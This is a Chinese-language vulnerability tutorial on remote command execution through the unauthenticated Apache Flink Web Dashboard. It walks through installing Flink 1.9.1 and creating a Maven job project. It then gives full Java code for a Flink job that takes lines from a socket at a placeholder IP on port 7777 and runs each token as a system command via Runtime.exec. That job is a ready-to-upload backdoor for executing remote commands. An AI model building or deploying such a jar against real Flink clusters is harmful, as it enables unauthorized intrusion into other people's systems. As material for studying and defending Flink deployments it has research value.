Flink 命令执行

简介

Flink 核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink 提供了诸多更高抽象层的 API 以便用户编写分布式任务：

DataSet API：对静态数据进行批处理操作，将静态数据抽象成分布式的数据集，用户可以方便地使用Flink提供的各种操作符对分布式数据集进行处理，支持Java、Scala和Python。
DataStream API：对数据流进行流处理操作，将流式的数据抽象成分布式的数据流，用户可以方便地对分布式数据流进行各种操作，支持Java和Scala。
Table API：对结构化数据进行查询操作，将结构化数据抽象成关系表，并通过类SQL的DSL对关系表进行各种查询操作，支持Java和Scala。

漏洞情况

本次漏洞情况是由于 Apache Flink Web Dashboard 未授权访问，上传恶意jar导致远程代码命令执行。

搭建环境

环境要求：JDK 8
官网下载地址：http://flink.apache.org/downloads.html
或者通过wget进行下载：
wget https://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
然后进行解压：
tar zxvf flink-1.9.1-bin-scala_2.11.tgz
然后启动

1 2	cd f flink-1.9.1-bin-scala_2.11/bin ./start-cluster.sh

最后访问本机：http://localhost:8081/ 如果可以正常访问表示安装成功。

漏洞利用

Flink 可以通过上传 jar 的方式来进行执行任务，我们可以构造利用代码进行上传执行。

添加 Archetype

添加 Archetype：

GroupId：org.apache.flink
ArtifactId：flink-quickstart-java
Version：1.9.0

创建任务项目

基于添加的flink-quickstart-java 进行创建项目，然后点击 Next

基于添加的`flink-quickstart-java` 进行创建项目

设置项目GroupId以及ArtifactId，然后点击 Next

设置项目`GroupId`以及`ArtifactId`

配置项目maven，然后点击 Next

配置项目maven

设置项目名称以及项目路径，然后点击Finish

设置项目名称以及项目路径，然后点击`Finish`

项目创建成功：

编写任务

创建 SocketTextStreamExecute 类写入一下代码

public static void main(String[] args) throws Exception {
    final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
    DataStreamSource<String> stream = env.socketTextStream("ip", 7777);
    stream.flatMap(new LineSplitter());
    env.execute("execute code");
}

public static final class LineSplitter implements FlatMapFunction<String, Tuple2<String, Integer>> {

    @Override
    public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) {
        String[] tokens = s.toLowerCase().split("\\W+");
        for (String token : tokens) {
            if (token.length() > 0) {
                try {
                    Process p = Runtime.getRuntime().exec(token);
                    //取得命令结果的输出流
                    InputStream fis=p.getInputStream();
                    //用一个读输出流类去读
                    InputStreamReader isr=new InputStreamReader(fis);
                    //用缓冲器读行
                    BufferedReader br=new BufferedReader(isr);
                    String line=null;
                    //直到读完为止
                    while((line=br.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
                System.out.println("token --> "+token);
            }
        }
    }
}